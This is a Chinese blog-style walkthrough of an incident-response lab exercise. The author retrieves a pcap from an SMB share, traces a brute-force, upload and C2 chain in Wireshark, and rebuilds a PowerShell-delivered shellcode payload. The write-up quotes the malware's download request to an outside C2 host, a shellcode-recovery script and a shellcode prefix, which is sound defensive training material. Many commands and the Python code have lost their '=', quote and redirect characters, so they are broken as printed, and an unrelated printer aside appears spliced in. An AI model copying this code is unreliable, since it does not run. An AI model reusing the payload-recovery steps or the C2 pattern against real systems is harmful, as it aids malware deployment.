最近整理靶场记录翻到一个很有意思的题目靶机开了 SMB 共享共享目录里躺着一个 pcap 流量包任务要求把包拿下来用 Wireshark 还原攻击者的操作最后从流量里把传输载荷提取出来并修复成可运行的样本。这道题表面看是“打开一个 pcap 看两眼”真上手才发现它把 SMB 协议理解、Wireshark 追踪流、文件导出、恶意载荷修复这些基本功串成了一条完整的应急响应链路。对于做蓝队、搞应急响应或者准备渗透测试认证的朋友来说这种题含金量很高——你平时可能单独用过每个工具但把它们按真实攻击场景串起来的机会并不多。这篇文章我把整个流程完整走一遍每个关键操作都会解释为什么这么做参数怎么选以及我踩过的坑。内容不光是“怎么点鼠标”更多是“怎么思考”。1. 先理解这道靶场题场景、攻击链与工具准备1.1 为什么攻击者偏爱 SMB 共享SMBServer Message Block协议在 Windows 内网里几乎是“基础设施级”的存在445 端口承载着文件共享、打印机共享等日常业务。也正因为太常见攻击者非常喜欢拿它当跳板弱口令爆破、空会话枚举、利用共享目录投放恶意文件甚至把 SMB 当作 C2 通信通道的一部分。内网业务流量里混杂着大量 SMB 包恶意行为混在里面极难被传统流量设备识别——你总不能把公司所有文件共享都禁了吧。这道靶场题的设计逻辑就来自这个真实背景攻击者已经拿下一台主机在内网抓了一段 pcap随后把抓包文件传到 SMB 共享目录当作“战利品”或者给下一阶段攻击者留的“情报包”。分析人员要做的是顺着这个共享目录找到 pcap再从流量里反推攻击者的行为痕迹。这类题目考的其实是你对 Windows 内网攻击链的熟悉程度。SMB 共享不是一个孤立的文件仓库它连接着凭据、共享权限、协议版本、传输内容等多个维度。拿到一个共享里的 pcap你不仅要会打开它还要能回答流量里有哪些主机在通信谁在扫描谁谁在爆破爆破成功后传输了什么文件这些文件是不是恶意载荷1.2 攻击链拆解与靶场设计逻辑拿我这次遇到的靶场来说完整链路大致是攻击者从外部扫描发现目标主机开放了 445 端口。对该主机执行 SMB 弱口令爆破成功拿到一个低权限账号。通过 SMB 共享上传了一个伪装文件同时放置了一个 pcap 抓包文件。上传的伪装文件回连 C2 服务器下载第二阶段载荷。分析人员从 SMB 共享目录获取 pcap从流量包中还原上述全部过程。这个链路设计得很典型。你先用 SMB 客户端连上共享把 pcap 拉下来打开后你会发现流量里不仅有 SMB 爆破的痕迹还有后续 C2 通信的完整记录。不是每一步都写在明面上比如攻击者上传的文件名可能伪装成图片或文档实际载荷却藏在 HTTP 流或 SMB Write 请求里需要你一层层剥开。靶场和真实应急响应的差别在于靶场把“证据”集中放在了一个 pcap 里而真实场景可能需要从全流量系统、终端日志、防火墙日志多个来源交叉分析。但分析思路是通用的你在靶场里练熟的一套 Wireshark 操作在真实事件中同样适用。1.3 环境与工具清单做这类题环境准备很重要。先说结论一台装好 Kali 的虚拟机一台 Windows 虚拟机也可以没有直接用 Kali 跑 Wireshark再加上必要的命令行工具就足够覆盖 90% 的场景。工具用途备注smbclient枚举、连接 SMB 共享Kali 自带cifs-utilsLinux 挂载 SMB 共享mount.cifs 依赖Wireshark 4.xpcap 可视化分析建议用新版SMB2 解析更完善tshark命令行抓包/解析Wireshark 自带file / xxd文件类型识别与十六进制查看检查载荷文件头Python3载荷解码、去混淆、修复脚本处理必备010 Editor 或 HxD十六进制编辑修复文件头、删除污染字节如果你在 Windows 上做分析建议装上 Wireshark 4.0 以上的版本。老版本对 SMB2 的解析有一些细节问题特别是对嵌套 SMB2 写入数据的还原不如新版准确。另外装完 Wireshark 记得把 tshark 加入环境变量后面用命令行处理大 pcap 非常方便。2. 连接 SMB 共享拿到 pcap 流量包2.1 先用 smbclient 探明白共享目录拿到靶机 IP 后我习惯先做一次共享枚举。靶场一般会给一组凭据也可能存在空会话。用 smbclient 的-L参数可以列出目标主机的所有共享smbclient -L //192.168.1.100 -U admin如果想直接进入某个共享目录用下面的命令smbclient //192.168.1.100/share -U admin进入后是类似 FTP 的交互界面ls查看文件、get下载文件、put上传文件。实战中如果目标是 Windows Server有些共享是隐藏的名字后面带$比如C$、ADMIN$普通 smbclient 默认不显示需要手动指定才能连接。我看到共享目录里有一个capture.pcap文件旁边还有一个名为document.jpg的文件。第一反应这不是普通图片等会儿下载下来一起带回去分析。先别急着点开任何文件——在 SMB 共享里看到的东西都可能带刺正确的做法是先拉到本地再在隔离环境里检查。2.2 挂载共享目录并下载 pcap对于目录层级比较多、文件比较大的情况用 smbclient 一条条 get 效率太低。我更推荐直接挂载到本地像操作本地目录一样处理mkdir /mnt/smb_share mount -t cifs //192.168.1.100/share /mnt/smb_share -o usernameadmin,password123456注意如果目标 SMB 版本比较老比如 Windows Server 2008 默认的 SMB 2.0某些发行版新内核的 cifs 默认协商版本可能不兼容需要显式指定版本mount -t cifs //192.168.1.100/share /mnt/smb_share -o usernameadmin,password123456,vers2.0挂载成功后直接用 cp 命令把 pcap 复制到本地工作目录cp /mnt/smb_share/capture.pcap /root/lab/顺带把那个document.jpg也拷回来。后面的分析证明这个决定帮了大忙——伪装文件本身就参与了 C2 通信。2.3 别急着双击打开先验证 pcap 文件本身从 SMB 共享上拉下来的文件我建议先做三件事第一计算哈希值并记录。后面你要把提取的载荷和原始 pcap 建立关联哈希值就是它们的“身份证”。第二用file命令确认文件类型。很多时候文件名和真实内容对不上document.jpg实际可能是个 PE 文件或者脚本file一眼就能识别。第三查看文件头确认 pcap 格式是否正常。md5sum capture.pcap document.jpg file capture.pcap document.jpg xxd capture.pcap | head -20pcap 文件的标准 magic number 是d4 c3 b2 a1小端序或a1 b2 c3 d4大端序。如果你看到的是0a 0d 0d 0a那其实是 pcapng 格式Wireshark 同样能打开但处理细节上有差异。这里file输出显示是标准的 pcapmagic 也正常说明抓包过程没有被篡改或者截断。这时候再看一眼 pcap 的全局头里面记录了 snaplen抓包长度上限。如果 snaplen 很小比如 96 或 128就说明抓包时只记录了每个数据包的前几十字节应用层数据大概率不完整这对载荷提取是致命的。我检查了这里的 snaplen 是 65535说明完整记录了每个包的全部内容可以放心往下走。3. Wireshark 全局视角先看全貌再追踪细节3.1 5 分钟建立全局观协议分级与会话统计双击打开 pcap第一步不是狂点数据包而是先看统计信息。我的习惯顺序是Statistics 菜单下的 Protocol Hierarchy、Conversations、Endpoints。Protocol Hierarchy 能告诉你这个 pcap 里都有哪些协议、各占多少流量。如果看到一个 pcap 里 SMB 流量占比异常高说明很可能发生了共享文件传输或爆破如果 HTTP 流量集中在某几个 IP 之间就要留意 Web 攻击或 C2 通信。Conversations 展示的是主机之间的会话列表按数据包数量或字节数排序。我一般先按“数据包数”排序找出通信最频繁的 IP 对再用“字节数”排序找出传输量最大的会话。攻击者上传恶意文件通常会产生明显的流量峰值在高字节数会话里找线索是最高效的路径。Endpoints 则把所有参与通信的 IP 和 MAC 地址列出来方便你快速建立“网络节点地图”。在这个 pcap 里我注意到 192.168.1.100 和 192.168.1.55 之间有大量 SMB 会话同时 192.168.1.55 还主动连接了外网 IP 203.0.113.10 的 443 端口。这个外连行为很扎眼内网主机主动连外网基本可以断定是 C2 通道或者木马回连。3.2 拨开协议树SMB2 关键命令与过滤语句Wireshark 的过滤栏是流量分析的核心工具。这里整理了几个我在实战中高频使用的过滤语句覆盖了 SMB 会话、HTTP 流量、DNS 外联三类场景目的过滤语句只看 SMB 流量smb或smb2只看 445 端口流量tcp.port 445定位 SMB 文件创建smb2.cmd 0x05定位 SMB 文件写入smb2.cmd 0x09定位 SMB 文件读取smb2.cmd 0x08查看 HTTP 请求http.request查看 DNS 查询dns跟踪某条 TCP 完整会话tcp.stream eq 12用smb2.cmd 0x09SMB2 Write过滤之后我发现 192.168.1.55 向 192.168.1.100 的共享目录写入过几个文件其中就包括共享目录里看到的document.jpg以及一个名为update.bin的文件。这个update.bin之前被忽略了在共享目录列举时文件管理界面里没有出现很可能是个隐藏文件。写到这一步攻击者的意图已经开始清晰上传伪装文件到共享目录是一种“落盘”动作下一步通常是执行或者回连。3.3 从时间线还原攻击节奏Wireshark 底部有一条时间线但我建议把时间列显示格式调整一下方便梳理攻击节奏。默认显示的是“Seconds Since Previous Captured Packet”也就是相对上一个包的时间。右键时间列选择“Set Time Display Format”改成“Time of Day”绝对时间这样能对应到具体的攻击发生时刻。然后逐段缩放时间轴你会发现流量有明显的三个阶段第一阶段是大规模的 TCP SYN 扫描源地址 10.0.0.88 对 192.168.1.100 的多个端口发起连接尝试时间集中在前 5 分钟。第二阶段 SMB 流量出现大量 Session Setup 请求这是典型的爆破特征——短时间内多个用户名密码组合的认证尝试大部分返回 STATUS_LOGON_FAILURE。第三阶段认证成功的 SMB 会话建立紧接着出现了大的 SMB Write 数据包再往后就是 HTTP 外联。把时间线拉通攻击者的动作顺序就拼出来了扫描 - 爆破 - 登录 - 上传文件 - 回连外网。这也正好对应了前面 1.2 节预测的攻击链溯源工作到这里已经完成一半。4. 溯源攻击者还原从爆破到上传的完整动作4.1 SMB 会话全程复盘从 Negotiate 到 Write很多人分析 SMB 流量时只看文件名但真正的高手会看 SMB2 的命令序列。一个完整的 SMB 文件写入操作必然经历以下命令Negotiate协商协议版本- Session Setup身份认证- Tree Connect连接共享- Create创建文件- Write写入数据- Close关闭句柄在 Wireshark 里过滤smb2.cmd 0x00可以找到协议协商包点开能看到客户端和服务器协商出的 SMB 版本。这里双方协商结果是 SMB 2.0.2说明目标主机是一台较旧的 Windows Server 系统这也解释了为什么 SMB 爆破能成功——老系统上常常存在弱口令账号和过时的安全配置。跟着 SMB2 Create 包能看到创建的文件路径、文件属性、访问标志。我用smb2.cmd 0x05过滤后发现update.bin被创建时带了一个FILE_ATTRIBUTE_HIDDEN属性。这就解释了为什么在共享目录里直接列文件时看不到它。这个细节一定要记下来后面找载荷时隐藏文件往往是关键目标。4.2 提取 SMB 传输文件Export Objects 实战Wireshark 提供了一个非常强大的功能File - Export Objects - SMB。这个功能会把 SMB 协议中传输过的文件全部列出来相当于把流量里的“文件传输记录”直接变成可导出的文件列表。这里我看到了document.jpg和update.bin点击 Save All 把文件导出到本地指定目录。导出的文件是流量里真实传输的字节序列跟攻击者原始上传的文件完全一致。不过要注意Export Objects 依赖协议解析器对 SMB Write 请求的正确重组。如果 SMB 写入被拆分成多个 Write 请求或者文件不是一次性写入早期版本的 Wireshark 可能导出不完整。我用的 Wireshark 4.0 导出结果很完整文件大小和 SMB Write 请求中的写入长度一致校验哈希后确认没有丢数据。4.3 攻击源画像与横向痕迹溯源攻击者不只是看 IP还要把能拼出来的细节都拼上。先看 IP 层。攻击源 10.0.0.88 的 TTL 值初始是 128 左右Windows 系统常见初始 TTL 为 128而目标 192.168.1.100 的 TTL 是 64Linux 特征。这说明攻击者可能使用了一台 Windows 机器作为跳板这对排除干扰流量、定位真正的攻击入口有帮助。SMB Session Setup 请求里的账号名、域名信息同样重要。爆破成功后建立会话的用户名是administrator工作组是WORKGROUP密码策略显然没有做账户锁定和复杂度限制导致弱口令被快速猜解。在真实应急响应中这个信息可以回查域控日志看同一个账户还有没有在其他机器上登录过。再看传输层行为。爆破阶段的数据包大小非常规律TCP 连接频繁建立和断开没有正常的文件传输行为这种“模式化”的流量也是判断自动化工具的辅助证据。关于横向移动这个 pcap 里暂时没有看到攻击者通过 SMB 登录其他主机的行为但 C2 外联已经存在后续的横向动作很可能发生在流量捕获之后。所以这张 pcap 给出的结论是攻击者已经立足但横向尚未全面展开。4.4 追溯恶意载荷来源从流量看 C2攻击者上传文件后接下来的外联动作非常关键。在 HTTP 过滤器中输入http.request我找到了document.jpg相关的请求——这个伪装成图片的文件在网络中实际上扮演了下载器的角色它请求了一个 URLGET /images/profile.php HTTP/1.1 Host: 203.0.113.10 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36这个 URL 的路径伪装成图片资源但响应体不是图片数据而是一段经过编码的数据流。响应头里的Content-Type: application/octet-stream暴露了真相——服务器返回的是二进制文件不是图片。用tcp.stream eq 编号追踪这条 TCP 流可以看到完整的请求与响应交互这也是后面提取载荷的切入点。C2 判定的另一个重要证据来自 DNS 查询。过滤dns后能看到内网主机频繁查询一个陌生域名这个域名在 pcap 开始之前从未出现过每次查询间隔固定很像是 beacon 的 DNS 隧道或域前置通信。把这个域名记下来它就是 IOC失陷指标的一部分。5. 提取传输载荷并完成修复5.1 三种从 pcap 抠载荷的方法明确了载荷在 HTTP 响应里接下来就是提取。根据场景不同有三种常用方法第一种File - Export Objects - HTTP。这个是图形界面最快的方式直接把所有 HTTP 传输对象列出来。适合载荷是完整文件、且响应没有分包错乱的情况。缺点是一旦 HTTP 响应跨了多个 TCP 段或者传输中途有重传导出的对象可能不完整。第二种右键追踪 TCP 流在 Follow TCP Stream 窗口里把 Show data as 改为 Raw然后 Save as 导出原始字节。这种方式能拿到完整 TCP 流的应用层数据不经过 HTTP 解析器的“加工”最接近线上真实传输的数据。第三种命令行工具 tshark 提取适合大批量处理和后续脚本化分析tshark -r capture.pcap -Y http.response -T fields -e http.file_data -e http.content_length payload.bin这里把 HTTP 响应体的文件数据直接导出为二进制。如果需要更精准地按流提取可以用-z follow,tcp,raw,流编号参数tshark -r capture.pcap -z follow,tcp,raw,15我在这个靶场里用的是第二种 —— 追 TCP 流导原始数据。因为前面看到响应体是application/octet-stream而且数据跨了 3 个 TCP 段直接导出 HTTP 对象有截断风险。5.2 一次完整的载荷修复过程导出后的数据文件命名为payload_download.bin接下来开始修复。这步是整个流程最有意思的地方也是我最想分享细节的部分。先看文件类型file payload_download.bin输出是gzip compressed data说明载荷是个 gzip 压缩包。直接解压mv payload_download.bin payload.gz gzip -d payload.gz解压后得到payload再file payload结果显示这是一个 PowerShell 脚本。用文本编辑器打开发现脚本主体是一长串 Base64 编码的字符串夹杂着几个可疑的变量赋值。第一层 Base64 解码python3 -c import base64; dataopen(payload,r).read().split(\)[1]; print(base64.b64decode(data)) decoded.ps1解码后发现这是一段 PowerShell 加载器代码里面调用了Invoke-Expression和一个从字节数组加载 shellcode 的函数。到这里恶意行为的性质已经确定了。但还没完。我注意到脚本第二层有一段字符串看起来是 Base64但解码时报错提示长度不是 4 的倍数。检查后发现了问题从 TCP 流导出的原始数据里混入了 HTTP 头尾的残留字节。HTTP chunked 传输编码的边界标记十六进制的长度值混进了二进制数据里导致 Base64 字符串中间多了几个字节。修复方法是把当前 Base64 字符串中不属于 Base64 字符集的字节过滤掉再按 4 字节对齐重新解码import base64, re raw open(decoded.ps1, rb).read().decode(utf-8, errorsignore) # 提取双引号中的 Base64 内容 m re.search(r([A-Za-z0-9/]), raw) if m: b64str m.group(1) # 去掉非法字符 b64str re.sub(r[^A-Za-z0-9/], , b64str) # 补全到4的倍数 b64str * ((4 - len(b64str) % 4) % 4) shellcode base64.b64decode(b64str) open(shellcode.bin, wb).write(shellcode) print(shellcode length:, len(shellcode))跑出来后shellcode.bin有 276 字节。用xxd查看开头fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30fc e8这个开头是经典的 x86 shellcode 前缀对应的是从 PEB 遍历导出表、解析 API 地址的早期 shellcode。到这里载荷修复完成从 HTTP 响应中提取 gzip - 解压得到 PowerShell 脚本 - Base64 解码 - 去除传输污染字节 - 还原出 shellcode。这个 shellcode 就是攻击者最终要加载执行的传输载荷。5.3 修复后的样本验证与 IOC 沉淀拿到修复后的 shellcode不能只看一眼就完事要验证它的行为并沉淀 IOC。先把 shellcode 放到一个可控的位置用scdbgshellcode 调试器跑一下观察它调用了哪些 API。我这里的样本调用序列里有LoadLibraryA和GetProcAddress随后出现了WinExec说明这是一个典型的“下载并执行”或“反弹 shell”的前置 shellcode。再结合此前 C2 域名和 IP把 IoC 信息整理到一张表里方便后续检测类型值说明攻击源 IP10.0.0.88SMB 爆破发起方被攻陷主机192.168.1.55上传文件、外联 C2 的主机C2 地址203.0.113.10:443HTTP 载荷下载来源C2 域名update.remote-c2.exampleDNS 查询中发现恶意文件document.jpg伪装实际为 PowerShell 下载器恶意文件update.bin隐藏SMB 写入的落地文件Shellcode 哈希SHA256 值修复后的载荷哈希落盘路径\192.168.1.100\share\update.bin共享目录隐藏文件这些 IOC 可以高度集成到安全设备的检测规则里比如在流量检测设备上针对 C2 域名加黑名单在主机的 Sysmon 日志里查update.bin的创建进程或者在企业全流量系统里搜 C2 IP 的所有通信记录。6. 实战中的高频问题与排查技巧6.1 Wireshark 显示字节不全怎么办我在网上看到不少人问“Wireshark 为什么只能显示 520 字节数据”这大概率是以下几个原因之一。第一抓包时的 snaplen 太小。用 tcpdump 抓包时如果加了-s 96这类参数每个数据包只保留前 96 字节应用层数据被截断Wireshark 当然显示不完整。标准做法是tcpdump -s 0表示抓取整个数据包。如果是别人给的 pcap可以在全局头文件里看 snaplen 是多少。第二TCP 重组设置没开。默认情况下 Wireshark 会重组 TCP 流但如果关闭了相关选项同一个 HTTP 响应分散在多个 TCP 段时就只显示每个段的当前载荷看起来像“只有几百字节”。解决办法Edit - Preferences - Protocols - TCP把Allow subdissector to reassemble TCP streams和Reassemble out-of-order segments勾上。第三显示偏移定位错误。Wireshark 默认显示相对序列号如果你手工按绝对序找到某个包可能因为序列号回绕导致数据错位。在 Preferences - Protocols - TCP 里关闭Relative sequence numbers可以看到绝对序列号排查序列号问题时更直观。如果数据确实被截断但 pcap 已经拿到手唯一的补救方式是找原始流量重新抓包。所以我在 2.3 节特意强调先检查 snaplen就是为了避免后面白忙一场。6.2 pcap 转文本与命令行处理Wireshark 图形界面处理几百 MB 的大 pcap 会很卡这时候 tshark 是更好的选择。最常用的把 pcap 转成可读文本的命令tshark -r capture.pcap -V output.txt-V参数输出每个包的详细协议树和 Wireshark 图形界面点开一个包看到的信息一致。如果你只关心 IP、端口、时间戳这类字段用-T fields指定字段更高效tshark -r capture.pcap -T fields -e frame.time -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -E separator,这个命令输出的 CSV 可以直接导入 Excel 或 Python 做进一步分析。我在分析爆破行为时就用它统计了每个源 IP 在单位时间内的 Session Setup 失败次数一眼就锁定暴力破解来源。另一个实用技巧是先用 tshark 按条件过滤出子集再用 Wireshark 打开子集避免大文件拖慢界面。比如只保留 SMB 流量tshark -r capture.pcap -Y smb2 -w smb_only.pcap然后再用 Wireshark 打开smb_only.pcap流畅度完全不一样。如果是想提取某个字段的统计用 tshark 的统计插件tshark -r capture.pcap -z conv,tcp -q这个命令在终端直接列出 TCP 会话统计和图形界面的 Conversations 效果一样。6.3 SMB 连接不上从协议版本查起做 SMB 共享分析时经常遇到 Linux 端挂载 Windows 共享失败。多数不是命令敲错而是 SMB 协议版本协商出了问题。Windows Server 2008 默认支持 SMB 2.0但新版 Linux 内核的 cifs 驱动默认协商 SMB 2.1 或更高版本如果目标主机禁用了更高版本挂载时就会报协议协商失败。这时候显式指定低版本即可mount -t cifs //192.168.1.100/share /mnt/smb_share -o usernameadmin,password123456,vers1.0如果目标主机开启了 SMB 签名SMB Signing挂载时还要加上secntlmssp或者iocharsetutf8参数否则可能认证成功但后续操作报权限错误。常见的完整挂载参数组合mount -t cifs //192.168.1.100/share /mnt/smb_share -o usernameadmin,password123456,vers2.0,secntlmssp,iocharsetutf8另外mf6100 扫描文件 SMB 传输失败这类打印机共享问题在内网也经常遇到通常是打印机固件只支持 SMB 1.0而 Windows 10/Server 2016 以后默认禁用了 SMB 1.0导致扫描发送失败。解决方法要么在 Windows 侧重新启用 SMB 1.0不建议在公网环境开要么给打印机配置 FTP 共享替代。最后一个容易被忽略的问题本地防火墙。Kali 挂载时出不去有时候不是目标的问题而是本机防火墙拦了出站 445。用ufw status检查一下必要时放行。写在最后的一点体会这类靶场题做多了你会发现真正难的不是某个单一操作而是你有没有“顺着流量讲故事”的能力。SMB 共享拿 pcap 只是入口Wireshark 只是工具整个分析过程的灵魂是把散落在各个协议层里的碎片拼成一条完整的攻击链看到爆破失败能想到弱口令看到隐藏文件能想到防清理看到外联能想到 C2看到编码数据能想到载荷隐藏。这个“直觉”没有捷径就是多看多拆多复盘。我自己的做法是每做完一个靶场就把 pcap 里最有代表性的几条流截出来自己再重新追踪一遍直到不需要看笔记也能快速定位到关键包。最后再分享一个实用小技巧分析完 pcap 后不要急着关用 tshark 把所有可疑流导出成单独的小 pcap 存好。后续写报告、做复现、做检测规则时这些小样本比原始大 pcap 好用得多。流量分析是个熟练活也是个积累活手里的样本多了下次遇到类似攻击一眼就能认出套路。